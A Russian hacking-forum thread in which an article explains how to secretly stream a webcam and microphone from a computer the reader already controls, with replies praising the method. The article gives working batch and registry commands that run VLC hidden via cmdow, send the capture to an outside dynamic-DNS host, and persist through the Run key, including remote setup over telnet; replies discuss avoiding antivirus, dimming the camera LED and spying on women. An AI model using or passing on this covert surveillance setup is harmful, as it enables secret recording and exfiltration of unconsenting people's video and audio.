Статьи Подсматриваем через веб камеру

Discussion in 'Статьи' started by tester_new, 16 Nov 2012.

  1. tester_new

    tester_new Elder - Старейшина

    Joined:
    12 Feb 2012
    Messages:
    300
    Likes Received:
    45
    Reputations:
    24
    Всем привет, в этой статье я хочу рассказать про то как можно настроить трансляцию видео/аудио с вашей вебкамеры. Где и как это использовать это уже ваше дело(можно например вставить на сайт), мне кажется весьма интересно иногда посмотреть что происходит в комнате где стоит наш дед к которому у нас уже есть доступ :)
    1. Ставим VLC и создаем *.bat файл для запуска видео-аудио захвата

    И так для начала установим vlc плеер: http://videolan.org/vlc/ После этого нам необходимо создать *.bat файл (назовем его start_vlc.bat)в котором и будем запускать vlc, ложим его в c:\windows\system32 команда для запуска видео/аудио захвата будет выглядеть так:
    Code:
     "C:\Program Files\VideoLAN\VLC\vlc.exe" -vvv --no-qt-notification --qt-start-minimized dshow://:dshow-vdev="твоя вебка" :dshow-adev="твой микрофон" :dshow-caching="200" :sout=#transcode{hq:,vcodec=h264,height=320,width=240,vb=800,scale=1,acodec=mpga,ab=128,channels=2,samplerate=44100}:std{access=http,mux=ts,dst=твой dyndns адрес:8080} --volume 100 
    Пример для Unix (Linux Debian 2.6.32-5-686, VLC 1.1.3)
    Code:
    cvlc -vvv v4l2:// :input-slave=alsa://plughw:1,0 :v4l2-standard=0 :file-caching=100 :sout='#transcode{hq:,vcodec=WMV2,vb=0,scale=0,acodec=mp4a,ab=128,channels=2,samplerate=44100}:http{mux=ts,dst=IP:PORT}' :no-sout-rtp-sap :no-sout-standard-sap :sout-keep
    Где в параметре dshow-vdev="" укажите название вашей web камеры с которой и будет производиться видеозахват (посмотреть можно пуск->панель управления->система->диспечер устройств->устройство обработки изображений ниже увидите вашу вебкамеру я думаю у 99% людей она будет одна) В параметре dshow-adev="" укажем имя нашего микрофона, посмотреть можно (пуск->панель управления->звуки и аудиоустройства->аудио->запись звука) Также нам нужно позаботиться чтобы запуск был скрыт от пользователя, для этих целей используем утилитку cmdow commandline.co.uk/cmdow скачиваем ее и ложим рядом с нашим файлом start_vlc.bat в заглавии нашего файла пишем cmdow @ /HID, так же стоит подумать о закрытии всех процессов с именем vlc, для этого дополним наш файл командой tskill /A vlc, в результате наш файл принимает вид:
    Code:
     
    cmdow @ /HID \n
    tskill /A vlc 
    "C:\Program Files\VideoLAN\VLC\vlc.exe" -vvv --no-qt-notification --qt-start-minimized dshow://:dshow-vdev="твоя вебка" :dshow-adev="твой микрофон" :dshow-caching="200" :sout=#transcode{hq:,vcodec=h264,height=320,width=240,vb=800,scale=1,acodec=mpga,ab=128,channels=2,samplerate=44100}:std{access=http,mux=ts,dst=testerlg.strangled.net:8080} --volume 100 
    2. Регистрация на DynDns хостинге и установка DynDns клиента

    Далее перейдем к моменту как мы собираемся получать доступ к нашей камере? я думаю что у большинства пользователей в интернете нет своего постоянного внешнего ip адреса(если есть то просто пропустите этот пункт), выйти из этого положения нам поможет технология dyndns http://ru.wikipedia.org/wiki/DynDNS Для этого регистрируемся на сайте http://freedns.afraid.org/signup/ (пользуюсь этим хостингом так как dyndns.com стал платным) после ввода своих данных вы должны создать себе запись следующего вида: В поле Type выберите "A" (она уже выбрана по умолчанию) В поле Subdomain введите имя вашего домена(к примеру homemax) В поле Domain выберите интересующий вас домен(скорее всего mooo.com так как он самый короткий, но я выбрал другой :) ) В поле Destination введите свой внешний ip, узнать его можно например просто набрав в ya.ru "мой ip" после этого жмем кнопочку SAVE.
    У меня к примеру это имеет следующий вид:​
    [​IMG]
    Далее нам необходимо установить dyndns клиент который собственно и будет реагировать на обновление нашего внешнего ip адреса и динамически обновлять эту информацию на хостинге. Я использую вот этот клиент http://www.techknowpro.com/freedns после его установки, во вкладке Settings вводим наши логин и пароль(как и на сайте, при необходимости добавляем правила в антивирусное ПО/файерволы).

    [​IMG]
    3. Автоматический запуск DynDns и нашего *bat файла при загрузке компьютера


    Далее нужно позаботиться что бы при загрузке ОС наш *.bat файл выполнялся автоматически, для этого с помощью regedit(пуск->выполнить->regedit) добавляем следующую запись в реестре.
    Code:
    HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
    Code:
    Имя: vlc, Тип записи: REG_SZ, Значение: C:\WINDOWS\system32\start_vlc.bat
    И тоже самое проделываем для нашего DynDns клиента.​
    Code:
    Имя: dyndns, Тип записи: REG_SZ, Значение: C:\WINDOWS\cmdow.exe /run /hid "C:\Program Files\FreeDNS Update\FreeDNSUpdate.exe"
    4. Автоматическое подключение инета при включении или перезагрузке компьютера

    Нужно подумать как заставить подключаться интернет автоматически при включении компьютера, у меня используется vpn соединение, в настройках vpn подключения во вкладке "Параметры" убираем галочки с пунктов "Отображать ход подключения" и "Запрашивать имя, пароль, сертификат и.т.д" и просто ложим наше подключение в папку "Автозагрузка" у меня в windows XP(под Админом) данный метод работает. Теперь перезагружаем компьютер и тестируем, (для проверки запустите у себя vlc и попробуйте подключиться к самому себе
    "Meдиа->открыть URL")​
    [​IMG]
    Ecли что то не работает смотрим вывод команды:
    Code:
    netstat -a -n -b
    P.S.
    У меня на моем железе это заметно жрет ресурсы, при желании хоть как то уменьшить потребление ресурсов советую внимательно выбирать кодеки (аудио/видео)
    список поддерживаемых кодеков: http://wiki.videolan.org/Codec
    Данные кодеки у меня использовали мин. системных ресурсов:
    Code:
    audio codec:
    mpga 	MPEG    audio recommended for portability)
    video codec:
    mp1v 	MPEG-1 Video - recommended for portability 
    
    В примере я специально выбрал кодек H263 и опцию :hq меня просто интересовало хорошее качество, думаю мало у кого еще есть такой комп динозавр как у меня :)

    Скорее всего нового я ничего не напишу просто чуть напомню, если у вас доступ только через telnet не расстраивайтесь и помните про команды edit а также про echo и reg.

    Пример c edit:
    Code:
     edit C:\windows\start_vlc.bat 
    [​IMG]

    Пример добавление в автозагрузку с помощью reg:
    Code:
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v vlc /t REG_SZ /d C:\Windows\start_vlc.bat /f
    Все действия были проделаны на win xp.

    Это моя первая статья, сильно не пинайте, выслушаю дополнения :)
     
    #1 tester_new, 16 Nov 2012
    Last edited: 21 Feb 2013
    Yank0v Y3rdna, grimnir, CKAP and 12 others like this.
  2. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Извращенец - не извращенец, но идея снятия видео с камеры используя VLC - достойна похвалы. Ибо, как минимум, это официальная тулза, не палящяяся антивирусами, в отличии от большинства троянов, которые надо время от времени криптовать + обновлять.
     
    Yank0v Y3rdna, CBEKJIA and De-visible like this.
  3. Mobile

    Mobile Elder - Старейшина

    Joined:
    18 Feb 2006
    Messages:
    1,089
    Likes Received:
    822
    Reputations:
    324
    Будет очень хорошо, если автор статьи или еще кто нибудь разовьет эту тему, и чем больше, тем лучше. Если статья существенно пополнится новыми идеями или реализациями этой, тогда закреплю.
     
  4. tester_new

    tester_new Elder - Старейшина

    Joined:
    12 Feb 2012
    Messages:
    300
    Likes Received:
    45
    Reputations:
    24
    Спасибо! буду обязательно стараться дополнять..
     
    #4 tester_new, 17 Nov 2012
    Last edited: 17 Nov 2012
    2 people like this.
  5. злая бабка

    злая бабка New Member

    Joined:
    6 Feb 2012
    Messages:
    13
    Likes Received:
    1
    Reputations:
    5
    Спасибо!взял способ!сегодня завтра попробую настроить,как что отпишу..
     
  6. IIAPTUZAH

    IIAPTUZAH Banned

    Joined:
    15 Nov 2008
    Messages:
    26
    Likes Received:
    13
    Reputations:
    -10
    Как раз искал подобные статьи,спасибо:)
     
  7. Viol

    Viol New Member

    Joined:
    26 Mar 2011
    Messages:
    17
    Likes Received:
    0
    Reputations:
    0
    Ого. Пригодилось.
     
  8. lock1122

    lock1122 Member

    Joined:
    8 Nov 2012
    Messages:
    103
    Likes Received:
    27
    Reputations:
    1
    У меня 2 вопроса:
    1. для чего это нужно?
    2. если камера будет включена - это запалят.
     
  9. tester_new

    tester_new Elder - Старейшина

    Joined:
    12 Feb 2012
    Messages:
    300
    Likes Received:
    45
    Reputations:
    24
    1. можно на сайт вставить, мне казалось что многим будет просто интересно :) я не совсем понимаюкак на подобный вопрос на этом форуме тебе и ответить..
    2. Не на всех камерах есть диоды (если ты про это) а на некоторых настолько тусклые что их в дневное время практически и не видно.
     
  10. vinosh

    vinosh Member

    Joined:
    29 Oct 2011
    Messages:
    72
    Likes Received:
    15
    Reputations:
    5
    + за статью, в целом расписал всё что нужно. Добавлю себе в комплект :)
     
  11. HHXI

    HHXI Banned

    Joined:
    27 Nov 2012
    Messages:
    40
    Likes Received:
    0
    Reputations:
    0
    ого,круто круто)
    обязательно попробую)

    1. ну наверное просто ради интереса,допустим хочешь посмотреть комнатку)))или красивую блондиночку, ахах

    2.если это будет блонда, то все норм)и днем и ночью, покаа комп не вырубят смотри сколько хочешь)

    а на самом деле,да,думаю если и смотреть то не долго)
     
  12. avramos

    avramos New Member

    Joined:
    20 Nov 2011
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    спасибо, отличная статья)
     
  13. dn55

    dn55 New Member

    Joined:
    30 Aug 2010
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    а можно ли как-нибудь, кроме физического отключения, отключить этот диод на камере или хотя бы сделать его тусклее?
     
  14. VY_CMa

    VY_CMa Green member

    Joined:
    6 Jan 2012
    Messages:
    917
    Likes Received:
    492
    Reputations:
    724
    Написать свой драйвер для работы с камерой без работы диода.
     
    _________________________
  15. AnnaSun

    AnnaSun New Member

    Joined:
    5 Mar 2013
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    Автору респект и зачёт! Я уже пробую... :)))
     
  16. xmagnit

    xmagnit New Member

    Joined:
    1 Jan 2013
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    спасибо , отличная статья!
     
  17. borisen81

    borisen81 New Member

    Joined:
    30 May 2012
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    я делал тоже самое с помощью ffmpeg , для подключения к компу использовал openvpn, а батники добовлял в планировщик и удаленно выполнял по требованию
     
  18. alexqem

    alexqem New Member

    Joined:
    16 Jul 2013
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    Камеры с диодами конечно сразу запалят. Статья интересная, спасибо автору!
     
  19. Tumbaumba

    Tumbaumba New Member

    Joined:
    16 Jul 2012
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Если цель - это ТАЙНО смотреть через вэб-камеру на человека, то есть программулины специальные, которые делают снимок через камеру через каждый 10-30 секунд
     
  20. Creator000

    Creator000 New Member

    Joined:
    3 Jun 2012
    Messages:
    33
    Likes Received:
    1
    Reputations:
    0
    вопрос: а кто можно сделать только если есть доступ к компьютеру?
    а на расстоянии это можно сделать?
     
    mottoman likes this.